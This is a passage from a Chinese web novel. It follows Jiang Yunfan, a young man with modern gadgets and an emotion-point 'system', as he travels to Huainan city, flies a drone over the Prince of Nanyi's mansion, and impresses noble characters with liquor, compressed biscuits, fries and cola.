且不说那程修齐,老爹只是个俸禄有限的尚书右丞,随身携带的玉佩却价值近千两白银,这钱当真干净?
责令江家赔偿的那一千两,更是对方应该付出的代价!
当然,最富最流油的,还得是他的财神爷秦七汐,光掏一沓零花钱,就是几万两,大乾姓秦这话还真不是说着玩儿的。
“别多想了瑶姐,这些钱你收着。另外我还准备了一些营销方案,到时你制备好鸡精和茅台酿,再按照上面的步骤予以宣传,很快就能赚大钱!”
见白瑶还在摇头,江云帆果断把银票全数塞到她手里:“就当我投资,或者把钱交给你管,往后赚了咱们分。”
“?!”
白瑶耳朵里,就听到个把钱交给她管。
于是立马把银票一收:“好,那我以后就负责帮你管钱了!”
帮忙管钱,那得是一家人才能做的事。
江云帆点点头,目的算是达成了。
之所以把银票交给白瑶,当然不是为了让她管钱,而是受了季云苍那封离别信的影响,深知出门在外身不由己,命也不由己,离开之前一定要做好一些打算。
他决定要让白瑶过得更好,所以这钱给她,也算了却一桩心愿。
走进桃源居,江云帆把家里的一些物资和设备,一一向白瑶介绍了一番,包括发电系统和电风扇之类,教会她如何使用。
随后又领她前往东面的西瓜地,告诉她如何定期开闸放水。
这可把白瑶惊得不轻,又是好几波情绪值提供。
但在返回客栈时,她却在电动车上,忽然从后方抱紧江云帆的腰。
江云帆目光一怔。
“瑶姐……”
“小帆,我想跟你一起去,可以吗?”
第179章 挑选夫婿,要为未来考虑
“万里悲秋常作客,百年多病独登台……”
秦奉缓缓将那纸张合上,握于双掌之中,微微抬头之间,深沉的目光望向远方的天际。
此时此刻,他仿佛忽然置身万仞峰峦之巅,眼底是无边的原野。
凛冽的寒意伴着萧瑟的秋风,透过衣间的缝隙来回侵蚀身体,浑身上下每一寸,冷得如此孤独,冷得如此彻骨,冷得如此颓然无助。
秦奉戎马一生,这还是他第一次有这种感受。
说来也奇怪,哪怕是被敌军千人万人包围其中,他也未曾感觉如此凄凉过。可如今,却被短短一句诗,搞得全身冰寒。
秦奉深吸一口气,稍稍整理心情。
接着转头看向沈远修,眼神深邃:“这诗……也是由那个江云帆所写?”
“尚不确定。”
沈远修摇摇头,他现在确实也拿不准答案。
这诗确实千年难遇没错,至少他自己,或者帝京国经院和乾文阁的大儒们,都没有能力写出来。
他愿意相信这是江云帆所作,但奈何,诗中如此悲凉凄寒的意境,如此孤苦无依的情感,若非沧桑一生,垂而老去之人,又怎能参悟得透?
江云帆不过是个十七八岁的小少年!
这首诗更合理的作者,其实是季云苍那,毕竟这老家伙的命运,恰好适配漂泊一生的特点。
但奈何风格又有所不同,此诗现实悲壮,而季云苍的诗可是一直以洒脱浪漫为主。
或许真正的答案,只能当面找他们问清楚。
而眼下,沈远修要聊的是正事:“请王爷且将诗放一边,再看一眼这纸条。”
秦奉一脸疑惑,再度将那纸张展开。
果然,这一次在最右下方的角落,发现了那一行小字……季云苍去京城了!
两道剑眉当即深深一锁。
“这张书纸,乃是江云帆亲自交于我手。”沈远修开口道,“应是他已经知晓老季入云居士的身份,又清楚我与其相熟,故而特地将此消息告知,很有可能……就是想让老朽转达王爷!”
秦奉默默点了点头。
随后又长叹一声:“唉……十年了,他逃避了十年,也痛苦了十年,看来到最后还是没能放下。”
“那么王爷,您又放下了吗?”
放下了吗?
秦奉未答,只觉有一阵风吹来,带着一缕缕清浅的晚桃花的馨香。
他沉醉在这桃花香中,就好似时间一下子回到了许多年前,那时的晚桃比如今开得更盛,更艳。
良久,逐渐回过神来,对沈远修说道:“我会联络京城的人,注意他的行踪,予以保护。”
沈远修抱拳行礼。
他本打算再询问王爷,是否收到自己寄回来的书信,对召令江云帆入府受赏之事如何决定。
但转念一想,自己问不问似乎并不重要,因为待会总会有人问的。
于是他没再逗留,告别秦奉之后,径直回了自己的府邸。
而秦奉则快步往那临汐苑而去。
南毅王府号称小皇宫,其规模与奢华程度,确实是全天下仅次于京城帝宫的存在。府内亭台楼阁纵横,轩梁榭宇密布,远远看去巍峨如峰,其中假山、花园、树林、人工湖,应有尽有。
光是占地面积,就几乎有整个怀南城的十分之一那么大。
而这十分之一,几乎是镜源县城的一半。
府内共分一殿四堂十三苑,除去秦奉本人所居的紫龙堂外,便属郡主的临汐苑最大最豪华,其中六栋楼屋,各有其功能。
但奈何,郡主殿下似乎不喜欢环境太广,所以平日的活动范围基本就在自己的寝居附近。
当秦奉抵达临汐苑时,王府亲军四大副统领之一的严横,正率人守在大门外。
见王爷到来,一帮人立马单膝下跪:“参见王爷!”
秦奉摆手示意免礼。
随后走到严横跟前:“严将军,郡主此番出行,可有异常之举?”
“有!”
严横皱了皱眉,神色有些怪异道,“属下让人统计了郡主近几日露笑的次数,发现比往常两年加起来都要多!”
“……或许,这丫头是真找到能让自己开心的人了。”
秦奉自言了一句,接着迈步走进临汐苑。
穿过两列桃树簇拥的道路,越过一座水桥,便是秦七汐的寝居。
此时堂屋后方的窗边,小郡主正坐在一张桌案前,用笔在一张巨幅的白纸上勾勒出一座山丘,一片桃林,一条山溪,一间篱栏小苑……
所谓“江南第一才女”,那自然是琴棋书画样样精通。秦七汐的画,每一笔都恰到好处,就好似用无数个细小的点,汇聚成一道如临其境的风景。
其实她之所以在回府之后,没有第一时间去向父王请安。
不是使性子,也不是耍脾气,而是迫不及待想要看看,画上的桃源居,与脚下的南毅王府,到底哪个才是她喜欢的居处。
事实证明,即便只去过一次,她还是更喜欢桃源居。
“吱呀!”
一声轻响,屋门忽然被推开。
青璇匆匆忙忙跑进来,神色有些慌乱:“殿下,王爷到了!”
秦七汐又在纸上添下一笔,这才不慌不忙地用隔板将其盖住。
“不用藏了。”
就在这时,秦奉已然迈步入内,“早在门外我就知道你在画什么。”
秦七汐从桌边站起,行了个淑女礼:“见过父王。”
秦奉挥手示意青璇离开。
而后一脸无奈道:“小汐,我知道你在怪父王,怪我没有下令赏赐江云帆,也没有召他前来王府,父王都知道。不过父王之所以这样决定,是有自己的理由!”
“父王莫非也怀疑,江公子沽名钓誉,盗取他人作品?”
“非也。”
秦奉摇摇头,“他有没有真才实学,是不是天纵骄子,于我而言都无关紧要!父王要的是他能让你快乐,而且不只是眼下的快乐,你明白吗?”
“不太明白。”
秦七汐确实不明白,她甚至连快乐是什么,都不明白。
“小汐,你恐怕自己都没发现,从未有一个人能得到你这样的关切,包括父王!”
这些天,秦奉虽身在王府,却没少收到来自镜源县的汇报。
每一条关于秦七汐的消息,都让他感到不可思议。
她居然会主动去接近一个男人!
这换在其他的大家闺秀身上,其实也不算什么,毕竟有才华的男子,能够得到女子青睐,再正常不过。
可秦七汐不一样,自年满十四以后,有很多王公贵族的世子少爷登门来访,可她看每个人都毫无表情,在她眼里,任何男子都与路上的过客,甚至路边的杂草无异。
用归雁先生总结的话来说,“在郡主看来,无论多么英俊倜傥的男子,都是顶了两只眼睛的一个球,没差。”
江云帆是唯一一个,能让秦七汐区别对待的人。
“父王之所以不召他前来,目的就只有一个,那便是要让他主动前来寻你,而不是你或其他人请着他来王府!”
“这……有什么区别吗?”
秦七汐更茫然了。
她在学识艺术方面,确实聪慧过人。但若论起人与人之间交际的门道,却是一窍不通。
“傻孩子。”
秦奉长出一口气,声音低沉又苍凉,“区别就在于,唯有双向奔赴的快乐,才能延续一生。这……是你母妃当年,亲口对我说过的话。”
“母妃……”
秦七汐呆立原地,她没想到父王会提起母妃。
尽管她知道,父王深爱母妃,不然也不会整整十年都没有再娶。但在平日,父王与她都很少提及,以强迫自己忘掉那些回忆。
实际上秦七汐并不知道,秦奉为了她的幸福,费了多少苦心,又舍弃了多少。
毕竟若真如沈远修信中所言,江云帆但凡出手,便是千古佳作,那么此人毫无疑问是人间大才,要受天下各大势力竞相争抢的存在。
秦奉自然也爱才,但他不能对江云帆太过主动,那样只会换来一个傲慢的人。
“如果只是招揽门客,父王甚至可以亲自去请他,但若是为你挑选夫婿,就不得不为你的未来考虑了!”
听到这话,秦七汐立马懵了。
她这才反应过来,原来一直聊的都不是同一个东西:“父王您误会了,我说的就是赏赐和招揽,什么时候成挑选夫婿了?”
“怎么,那小子你也没看上?”
“……”
秦七汐红着脸,把嘴巴牢牢一闭。
她不是傻子,有些问题无论回答是或否都不正确,最好的办法就是不回答。
当然,还有第二招,转移话题!
“父王,要不要尝尝我从镜源带回来的美酒?”
“在哪里?”
秦奉左右张望了一下。
他不是什么酒痴,但对于那些比较稀奇的好酒,还是有品茗一番的爱好。
“墨羽,把你顺来的茅台酿拿进来!”
“是!”
房门很快被推开,墨羽抱着一坛茅台酿走了进来。
原本秦七汐让青璇到秋思客栈采购茅台酿,奈何去时已经售罄,本以为再难尝到这美味,却意外在返程时,发现老师带了一坛,便让墨羽动了些手脚。
酒坛放上桌,秦七汐又拿来两只酒盏,亲自揭开坛口的封泥,分别倒满。
一时间,那股熟悉的浓香,瞬间散入空中。
秦奉离了几步,但同样第一时间闻到这味道,一双眸子立马就亮了。
他连忙走上前,端起其中一盏,放在鼻尖轻轻一嗅。
“这酒……”
好酒啊,光是气味,就险些让人沉醉其中。
情不自禁之下,秦奉直接大饮一口。
饮完便双眼一瞪:“!!”
这……这酒,不简单,太不简单!
“镜源之地,怎会有如此佳酿?”
一代人间杀神,此刻面色全是惊疑,“城北江南酒坊,出产最为纯正的四季春,但那滋味,竟不及眼前酒酿分毫!不应该,很不应该……若早有此酒,哪里还轮得到三大国酒流行于市?”
见秦奉如此反应,秦七汐睁着一双明眸,嘴角勾勒起一抹自得的笑意:
“好喝吧?江公子酿的!”
她也不知为何,在父王瞪大眼睛的那一刻,内心有一种很舒坦的感觉油然而生。
“他还会酿酒?”
这下轮到秦奉茫然了。
在沈远修的书信里,只说到江云帆姿容俊美,文才惊世,能力独特。却没细说这独特的能力中,还包含会酿酒这一点,而且酿出来的酒还如此美味!
“他会的可不止酿酒,若父王有机会见他,定能发现他身上数不尽的奇妙!”
“你这丫头,怎搞得你和他才像一家人一样?”
秦七汐撇撇嘴,默默端着酒盏转到一边去。
……
与此同时,江云帆载着江滢,已经行至烟凌城地界。
就着给电动车充电的时间,两人找了道旁的一座凉亭,坐下来休息片刻。
“哥,怎么感觉你今天老是发愣啊?”
“你不懂。”
江滢当然不懂,江云帆发愣这两下,足足有共计六百多点情绪值到账,都来自南毅王秦奉。
不得不说,这位名震天下的大佬,奖励倍率还真不低!
当然,秦奉受到震惊,这便表明王府那艘楼舫已经抵达了怀南城,而秦七汐也应该安全到家了。
等到了怀南城,还得想办法找到这丫头,请她帮忙联系韩神医。
“赶紧吃,吃完早点出发!”
江云帆拆开两袋压缩饼干,塞进江滢手里。
江滢小鸡啄米式的点头。
然而就在这时,远处突然响起一阵马蹄声,一人骑着骏马,护送着一辆马车,顺道路飞奔而来。
第180章 这东西怎么会出现在怀南城
秦璎?
听到这个名字,江云帆的第一反应,就是又来了一个皇亲国戚!
对方的目的地是怀南城,如果不出意外,应该也是去参加南毅王府那场大宴的。看来这一遭要遇到的大人物,会比镜源县的灯会上多得多。
按理说本不该在这样的盛会上抛头露面,但要想拿到梁大师药方上那几味珍贵药材,又不得不想办法吸引王爷的眼球。
或许,得好好想个两全其美的办法。
……
湖畔大道上,一马一车并驾齐驱。
车帘之内,一名身穿淡蓝色襦裙,长发垂腰,面容精美的女子,嘴里正含着小半块压缩饼干,一双美目瞪成了标准的圆形。
这东西好生奇妙!
仅仅是小小一块,从里面便蕴含了十多种不同粮食的味道,各种成分浓缩在一起,又香又酥,而且咽下肚中,立马就有种饱腹感。
秦璎长这么大,还是头一次尝到这样的东西!
“常将军。”
她掀开帘子,探头看向窗外,一脸惊奇道“方才你与那两人交谈时,可有了解对方身份?”
先前她在车上远远看了一眼,亭中二人年纪似乎都不大,顶多与自己相仿。而其中那名男子,虽隔着老远的距离,却依旧能看出容貌不凡……嗯,是个挺吸引人的长相。
常牧一边策马奔行,一边低头称歉:“请殿下赎罪,属下来去匆忙,忘记询问了。可是这干饼有问题?”
秦璎摇摇头:“只是此物味美果腹,且在别处从未见过,心生好奇而已。”
常牧恍然大悟。
原来刚才那小子说得没错,他这东西还真是稀罕物,能让殿下这般喜爱,这三十两银子花得值!
“禀殿下,从穿着打扮来看,他们估计是附近的农户,若日后再来,乡野之地恐难觅其踪,不如属下此刻折返回去?”
“还是不必了。”秦璎默默将视线放远,嘴上喃喃道,“咱们此行是为正事而来,在找到那位江南词仙之前,一切琐事都先放一放。”
“是,殿下。”
秦璎放下车帘,重新坐回车轿里。
看着手里的半块压缩饼干,不禁秀眉紧皱,心里惊愕不已。
这江南还真是奇事遍地!
前有千古绝唱突然问世,后有凌驾三大国酿之美酒凭空而生,如今亲临江南,又见识了这般神奇的干粮。
当然,秦璎清楚自己此行最重要的目的。
几日前听闻一首“东风夜放花千树”自南毅王府的楼舫之上诞生,她便立刻动身赶往江南。
因知晓此词必定夺得镜湖文会头名,而作词之人也多半会受邀前往南毅王府,所以她借着参加王府大宴的由头直奔怀南城,就为了一件事——
抢人!
抢人并不难,只需要比对手押上更多的筹码,许诺更大的利益,自然就能成。
她现在还挺期待,能写出那般惊世之作的人,究竟有怎样的过人之处。
……
作为大乾境内,规模与奢华程度仅次于帝京的第二大城池,怀南城内楼阁街道纵横,道上行人也是相互簇拥,络绎不绝。
包括商业,也是集齐整个江南各类贸易于一身,可以说只要能在江南买到的东西,到怀南城都能买到,除了出自江云帆之手里的另类。
当江云帆载着江滢抵达时,已是下午过半。尽管极力低调行事了,但骑着一辆电动车招摇过市,还是难免会吸引无数人的目光。
但好在此地归王府直管,民众都不轻易敢惹事,所以也只是惊叹此物的奇妙工艺,并没有人上前阻拦。
江云帆在城内一番穿行,最后寻到了一家相对偏僻的小客栈。其最大的特点便是只提供住宿,不负责餐饮,所以客房就围绕在一楼的内院周围,电动车可以直接开进去。
客栈老板是个四十岁上下的妇人,姓刘,体态微胖,模样看着面善,说起话来也和颜悦色。
江云帆给了她几粒碎银,并打听了一些关于医圣韩锦山和怀南城秦氏的消息。
“客官若是想找韩神医治病,那我劝还是放弃吧,要知道能找他看病的,非豪门贵族不可,而且那诊疗费堪称天价,一般人哪里负担得起。”
“只给豪门贵族治病?”
江云帆倒是没料到,名扬天下的一代医圣看病,居然还会设置身份门槛,看来要请动对方,还真得通过秦七汐这层关系。
“至于客官询问秦氏,我只能说,整个怀南城中,拥有秦姓的只有一家,那便是天子胞弟,南毅王秦奉一脉!对了,王爷的事可不能妄论,谢谢你的银子哈……”
老板娘把银两一揣,扭动腰肢赶紧溜了。
而江云帆则十分纳闷,如果怀南城姓秦的仅南毅王一家,而秦七汐恰好又说自己的国姓乃是御赐所得,那这么说……小财神不是本地人?
既如此,那又为何要让自己来怀南城寻她,她又为何认得医圣韩锦山?
或许,有些事还得当面问清楚。
稍作休息之后,江云帆领着江滢去了城里,一边打听神医的消息,一边吃喝玩乐。
毕竟生活是用来享受的,再忙都不能放弃快乐。
一直逛到傍晚时候,两人各定制了两套衣物,又买了些稀奇的水果零食,返回住处。
安顿好江滢之后,江云帆背着自己那双肩包,一溜烟出了门。
风景各处有,镜湖是自然风光,怀南城是人文社会,各有各的美妙,所以江少爷又怎能放弃大好机会,借助高科技将这风光游览一遍?
顺便再了解一下城里的布局,以及那南毅王府内部的细节,熟悉环境对往后做事总归有好处。
来到西北城区后,江云帆登上一座地势较高的小丘,这里人少清净,正好不用受人打搅。
来到山顶,他迅速打开背包,将那无人机放出,并控制其在距离地面二十余丈的高度,绕着城内画圈飞行。
并将城内的画面,尽数拍摄下来。
……
与此同时,城内状元阁。
作为怀南城最大的酒楼,这里也是整个江南最热闹的才子聚集地,许多来自各地的文人墨客,一到怀南城就赶来此处,谈诗论词,寻友问道。
状元阁共有四层,此刻楼中宾客满座,喧闹不绝。
大堂自然是最为热闹的所在,一方高台立于中央,几位本地知名的学士,正领着众人一同探讨一首词赋,许多人争得面红耳赤。
这词,正是在那镜源万灯节上一鸣惊人的《明月几时有》,曲好,词更好!
短短数日,就有连续几首惊世之作,从镜源县那样的小地方传来,毫无疑问在怀南城中掀起了轩然大波。
最近几天,这状元阁日日生意爆火,众人反复讨论的,就是这词,外加一首“东风夜放花千树”。
这般作品深奥到极致,许多人都认为,他们哪怕是花上一辈子去研究,也把这两首词研究不明白!
然而与众人的热闹不同。
此刻位于四楼的一间雅阁,却是冷清异常。
“小姐,您要不还是吃点东西吧,这样空腹饮酒,有伤身体。”
一脸焦急的小缘,把饭菜都捧到了面前,但许灵嫣还是无动于衷。
她一手握着酒壶,一手撑着下巴,眼眸无光,就这样平静地望着天空发呆。
今日怀南城的天气不太好,午后阳光便逐渐淡去,天上灰蒙蒙的,到了傍晚时刻,更显阴沉暗淡。
“咕噜……”
又是一口上等的四季春下肚,许灵嫣忽然神色一变,转手将那酒壶往桌上一放。
“真难喝。”
想她还在京城时,因为产地较远,这四季春可是稀罕物,价格比各类酒酿都要昂贵不少。
又因口味淡雅清香,许灵嫣总能从中尝出家乡的味道,故而很是喜欢喝这酒。
但今日不知为何,总觉得又苦又涩,毫无意思。
小缘在旁边看着,满眼心疼:“小姐,事情已成定数,咱们就莫要终日郁郁了,身体要紧啊。”
她知道,小姐之所以会说酒难喝,都是因为口味被那茅台酿给养刁了。
许灵嫣没有答话,依旧默默望着天空。
是的,她觉得好可惜。
要是自己当初没有退江云帆的婚,那么除了能找到一个能与自己共研文道的人生伴侣之外,还能让自己下半辈子有喝不完的茅台酿!
想想那样的生活,何等美好?
可是现在,再美好的生活,都注定是属于别人的了。
“咚咚咚!”
就在这时,雅阁门外突然传来一阵敲击声。
小缘立马回头,一脸警觉地朝外面喊道:“哪位?”
“是我,秦睿。”
秦睿?
听到这名字,许灵嫣当即回过神来。
她与小缘相视一眼,各自的眼神中都闪过一丝慌张。
“快去开门。”
小缘点头而去,打开雅阁门的那一刻,见到门外来人,连忙屈膝跪地:“参见世子殿下!”
门外站着好几个人,除开一帮侍卫随从外,为首男子一身紫色锦袍,腰饰莹莹晶坠,全身上下细到每一处,都透着十足的高贵。
他走进雅阁之后,轻瞥了一眼小缘,手中折扇微微一抬:“免礼。”
说罢,又迈步走到许灵嫣跟前。
此时许灵嫣早已从窗边起身,来到桌案旁边,行了个标准的淑女礼:“见过世子。”
“灵嫣小姐无需拘礼,我年长你两岁,且把我当做哥哥便好。”
秦睿的脸上,泛起一抹微笑,嘴里又柔声说道:“方才在楼下远远看见灵嫣小姐,未来得及打招呼,后询问掌柜方才得知小姐落脚此处,故特来拜会!”
“感谢世子在意。”
“哈哈哈……快,快坐下聊,算来你我也有一年时间未见了,正好今日遇到,得好好叙叙旧!”
“是。”
许灵嫣点头应允,但眼中却闪过一丝无奈。
两人就着桌案相对而坐,但秦睿似乎有些不自在,屁股落下又起身,绕到了桌子的侧面。
坐在这里,离许灵嫣顿时近了不少。
秦睿脸上浮现一道意味深长的笑意:“一年前见灵嫣小姐,就已是惊为天人,没想到一年以后,小姐更是出落得楚楚动人,不知有多少男子该为你彻夜难眠了!”
听到这话,许灵嫣强行牵动嘴角回以微笑。
作为女子,她当然喜欢别人夸自己好看。
但这个别人并不包括秦睿,因为从每一次对方看自己的眼神里,许灵嫣都能感受到轻佻之意。
她很不喜欢这样的眼神,毕竟自己追求的是才华惊世的奇男子,而非这种自以为是的尊贵世子。
“殿下谬赞了,小女子还是有些自知之明的,就算再好看,也是不及小汐半分……对了,小汐已经回府,世子殿下可有前去相见?”
“我?去见她?”
话到说到这,秦睿的脸色立马变得难看了几分,“本世子凭什么去见她?论长幼,我是她王兄,论尊卑,我母妃乃是镇国大公之女,而她的母亲不过是一介乡野村姑!她没有主动给本世子请安,便已是无礼至极!”
诚然,秦睿的母亲,乃是大乾第一大公之女,当今皇后之妹,经圣上指婚嫁与秦奉,生下他秦睿,便是贵族中的贵族!
只可惜,父王在认识那个女人之后,便再也没有搭理过母妃,就连生下的女儿秦七汐,也是万般宠爱,反倒是他这个嫡长子备受冷落。
所以每当谈起秦七汐,秦睿的心里就烦得不行!
“殿下,请恕我失嘴多言。”许灵嫣连忙道歉。
秦睿则摆摆手:“无妨,灵嫣小姐大可不必聊那些不想干的人,坏你我雅兴。”
“对了,楼下众人所议之词,小姐可曾听到?人有悲欢离合,月有阴晴圆缺,但愿人长久,千里共婵娟……妙,实在是太妙!”
“也不知那作词之人,究竟是怎样的大才,又有过何种经历,才能写出这一字一句!”
秦睿仿佛整个人都陷入了陶醉,闭着眼睛双手游动,好似沉浸在了绝美的音律中。
倒是许灵嫣忽然沉默了。
果然,她强迫自己不去回忆,可当全世界都在讨论一个人的时候,又岂是她想躲就能躲得掉的?
江云帆所影响的,早就不是她一个人了!
情绪激动之下,许灵嫣不得不再次转头看天,以掩饰自己表情的变化。
但就在抬头那一瞬间。
“嗡嗡嗡……”
一阵怪异的震动声传来,那道熟悉的黑色身影,正不断闪烁着红色光点,在高空之中畅然翱翔。
“!!”
许灵嫣浑身一颤。
她连忙站起身来,快步冲到窗口,瞪眼看着那天际……
这东西……怎么会出现怀南城?
……
第181章 观星楼
许灵嫣自然第一眼便能认出这凌空飞行的奇物。
第一次见它,在王府楼舫的甲板之上,这东西悬于空中,尽管当时是黑夜,可那闪烁的光点和独特的震动声,令她记忆深刻。
第二次,则是在镜源县万灯节的湖畔,此物自头顶掠过,其惊人的飞行速度,也与眼下之物一般无二。
许灵嫣可以肯定,每一次出现在天上的,都是同一个东西!
根据杨文炳所言,这种飞行奇物,正是彦公子用来投送词文的工具。
而后来一桩桩一件件的事实,都表明了一点,江云帆就是彦公子!
可按理说,这会江云帆不应该在凌州城或者镜源县吗?
许灵嫣越发疑惑。
昨日凌州之后,她刚好赶上了即将出发的王府楼舫。当时可是大顺风,楼船借着风劲一路向南极速行进,可即便如此,也依旧花上了大半日的时间。
而江云帆如果要来怀南城,基本只能走旱路,夜间无法通行,就算快马加鞭,现在也不可能到。
况且她还问过秦七汐,知道江云帆已经拒绝了王府大宴的邀请,也没有理由来此。
所以由此推出……天上那凌空盘旋的东西,并不是江云帆的!
许灵嫣只觉得心里一惊,立马想到了一个可能——
会不会一开始就错了?
实际上在王府楼舫投下那首“东风夜放花千树”的人,并不是彦公子,从头到尾都是杨文炳一厢情愿的猜测而已!
不行,这件事,得找小汐讨论一下。
许灵嫣回过神来,正转身打算离开,却发现秦睿不知何时凑了过来,一张脸离得很近。
许大小姐顿时吓了一跳:“世子殿下……”
“灵嫣小姐在看什么呀?”秦睿眯眼笑着,嘴角勾起一抹自认为帅气的弧度。
许灵嫣往后稍躲,连忙伸手指指天空。
秦睿顺着她的手指看去,视线投向那有些阴沉的天空,下一刻,嘴角的笑意忽然凝固住了。
接着一双眉毛猛地皱起:“这什么玩意儿这是?”
“神仙的法器。”许灵嫣无比严肃地解释了一句,随后趁着秦奉愣神,急忙绕向门口,“这件事我得与小汐分享,先行告辞了世子殿下!”
“欸,灵嫣小姐!”
许灵嫣哪里还敢逗留,她知道秦睿专程来找自己,一定是有所图谋。
故而以见秦七汐为由离开,对方也并不能说什么。
见许灵嫣逃离,秦睿目光冷了冷,但很快又转向窗外,眼睁睁看着天上那光点不停闪烁,直奔远方。于是嘴里不禁感慨:“难不成这世上,还当真有神仙?”
……
【叮,震惊达成,来自秦睿的情绪值:+175!】
观景台上,江云帆正操控着无人机北转,准备跨越南毅王府的上空。
脑子里突如其来的声响,也惹得他不禁瞪眼。
好家伙,还有姓秦的人?
看来这怀南城,当真是贵族齐聚啊!
不过至于此人是何方神圣,江云帆也没有多想,他只顾继续指挥无人机,在飞行的可控范围之内不断环游。
时间过得很快,黄昏之后,夜色逐渐笼罩整个城池。
与镜源县不同,怀南城人更多的同时,还有较为丰富的夜生活。哪怕不是重要的节日,当夜幕降临之后,纵横几大重要的街道,也相继被密集的火光点燃,宛如几条燃烧的长龙相互交错。
无人机转向往北,很快便出现在一座巨大的庄园式府邸上空。
此处正是南毅王府。
若是从高空的角度俯瞰,会发现其俨然如一座小城一般,各种亭台楼阁入眼,规模十分庞大,甚至最外围还有一道类似城墙的巨大府墙,墙楼上飘荡的旗帜借着灯火,隐约可见紫色的九龙图纹。
而就在王府西北角,赫然可见一座高耸的塔楼——观星楼。
此楼共计七层,乃是怀南城中最高的建筑,顶层有一个大平台,一些知晓天文的大学士、占术师,偶尔会来此观察天象,以从星图变化中参悟某些预兆。
而这时候,楼内一片灯火氤氲。
一身青灰色道袍的沈远修,顺着楼梯一番攀爬,总算是在累得上气不接下气的时候来到了顶层。
他今夜再登观星台,目的就是想要看看,如今的天象比起三个月前是否有变化发生。
顺便也想尝试一下,能不能再次见到那颗凭空出现的异星。
“先生身体当真硬朗,晚辈自愧不如!”
跟随沈远修一同登楼的还有一人,正是早一日抵达怀南城的齐之瑶。
作为京城开阳侯府的大小姐,她此行下江南的目的,除了听从家中安排,想办法让归雁先生将自己收入门下之外,还有一点,便是招揽一批合适且有才能的人为自己所用。
她在镜源县看中了江云帆,奈何那小子太招人喜欢,一大堆的人等着竞争,没办法,压力太大,不得不主动退出。
随后齐之瑶又将目标放在了王府的大宴上,此宴各方人才豪杰齐聚,总能有点收获才是。
先前她登门拜访沈远修,正巧遇到老大儒要来观星楼,便死皮赖脸地跟了上来。
这会攀上顶层,累得她双腿打颤,直接一屁股坐在地上。
“你这丫头,还是多多锻炼吧。”
沈远修轻笑着甩了甩手里的拂尘,“正巧,郡主说要每日绕王府晨跑两圈,你可同她一起。”
“我……我还是自行锻炼吧。”
齐之瑶可不想与秦七汐待在一起太久,尤其晨跑正是展露身材的时候,她跟在旁边压力太大。
“对了先生,我看今日天色阴郁,似乎不太适合观星象啊?”
沈远修摇头一笑:“你不懂,看这趋势,不出半个时辰阴云必散,繁星初现之时最为澄澈,乃是观星最佳时机!”
“原来如此。”齐之瑶似懂非懂地点头。
沈远修也没再说什么,只迈步走到那观星台的正中央,双膝一盘坐在地上,闭上眼睛开始沉思。
然而不过片刻,他突然听到齐之瑶一声惊疑:
“先生,您可见过赤红的星尘?”
“!”
听到这,沈远修猛地睁开双眼。
赤红的星尘?莫非又是什么奇诡之兆?
“在哪里?”
“东南方向!”
沈远修仰头看向东南方。
恰见浩瀚的高空之中,一点红色的光芒正不断闪烁,朝着头顶缓缓移动而来。
“这是……”
第182章 他不会想毒死你吧
观景台上,江云帆正控制无人机返航。
对于怀南城的景色,无人机只有拍摄的能力,并没有实时画面传输的能力,所以只能等它返回了之后,才能查看其中的文件。
但比较尴尬的是,江云帆既没有电脑,也没有手机相机,所以即便此刻已经拍下了大量的美景,却也根本没有办法读取。
甚至,随时遇见好看的景,或者人,想要拍张照都不可能。
“系统,你听见了吗?努力一把啊!”
【叮,震惊达成,来自许灵嫣情绪值:+273!】
江云帆:“……”
算了,也行吧,毕竟情绪值这玩意儿谁能嫌多呢?省得当真刷出好东西的时候,却因为钱包不够厚而空流泪。
只是说来也奇怪,今天这些人怎么莫名其妙很活跃?
就在许灵嫣被震惊前不久,江云帆还收到了两波情绪值,分别来自沈远修和齐之瑶。
前者提供321点,后者提供175点,以他们的奖励倍率来看,这两人被震惊的程度可不低,就是不知道造成的原因是什么。
当然,相比之下那财神爷妹子就不太努力了,怎么都分别了整整一天,还一点反应没用?要不然随随便便被震惊两次,情绪值不得比其他人加起来还多?
就在思考之际,那无人机已经从空中缓缓降落着地。
江少爷三两下将其收回背包,随后借着逐渐散开的云层而透下的月光,悠哉悠哉下了山去。
……
实际上在江云帆不知道的此刻,财神爷妹子已经开始努力了。
她努力在啃一只刚从盘里扒下来的鸡腿,吃得满嘴油光。
先前还半口吃不下的一桌佳肴,自从许灵嫣带来了大消息,小郡主立马就来了食欲,看什么都觉得好吃。
临汐苑的餐堂之中火光通明,许灵嫣正木讷地坐在远离餐桌的一张椅子上。
对于她来说,空气安静得可怕。
四下只有自己用力捏紧衣角,从而发出的一点点细微的摩擦声。
良久之后,她总算回过神来:“谢谢你,小汐。”
“唔?”秦七汐有些噎,“谢我什么?”
“我想明白了,如果不是你的一番话,或许我永远不会像现在这样认清自己。”
秦七汐有些尴尬地笑了。
就算如此,那你也不该谢我啊?因为不管怎么说……我好像是你的竞争者。
“那,要不要过来一起吃点?”
小郡主指了指一桌大菜,盛情邀请。
然而许灵嫣只默默摇头:“我吃不下,一整天了,总觉得口中苦涩,也无心进食。”
她确实没瞎说。
从凌州离开以后,她就一直恍恍惚惚,睡不好,也吃不香。肚子说饿也有些饿,但今日在状元阁待了一整个下午,也就喝了几杯淡茶。
照小缘的话来说,她大抵是病了。
秦七汐看着她的模样,无奈叹了口气,又向屋外唤来了青璇。
“到我房间,把匣子里的东西取过来。”
“是。”
青璇领命而去,一通疾行,不消片刻便回。
手上多了一红一橙两个圆圆鼓鼓的袋子,外加一瓶用不知名透明瓶子装起来的黑色液体。
秦七汐亲自动手,用刀将那红色袋子划开,并将里面的薯条倒入盘中摆好。
又依照江云帆在信上所述的方法,将可乐瓶盖拧开。
随后拿来两只琉璃杯盏,分别倒上半杯。烛光透过杯壁照射在那黑色液体上,呈现出一道绚丽的彩光。
最后,挨个将其摆在小桌上,再次邀请许灵嫣:“这些小零食,是江公子赠送的,要不要尝尝,试试能不能改善味口?”
许灵嫣抬起头来。
听到江云帆的名字,原本有些忧愁的双眼明显亮了几分。
这一次她没再拒绝,而是立马站起身,走到小桌边与秦七汐相对而坐。
目光看向盘子里的东西,手指粗一块,中通外直,表明还覆盖有一些暗红色的粉末,像是花椒粉。
这种小吃,许灵嫣倒还从未见过。
在秦七汐的示意下,许灵嫣率先伸手拿起其中一块,放在嘴边,“咔嚓”一声咬下半截。
嗯,口感很酥,也很脆……
然而当舌尖触及之时,口中无数的味蕾,在一瞬间如同海潮爆发一般绽放开来!
这味道……绝,太绝了!
香中带甜,甜中带盐,盐中还带着一股子劲爆的辣!
不仅如此,就算抛开味道不谈,那一口咬下去的嘎嘣脆,也是爽到骨子里的口感!
没错,这就是江云帆。
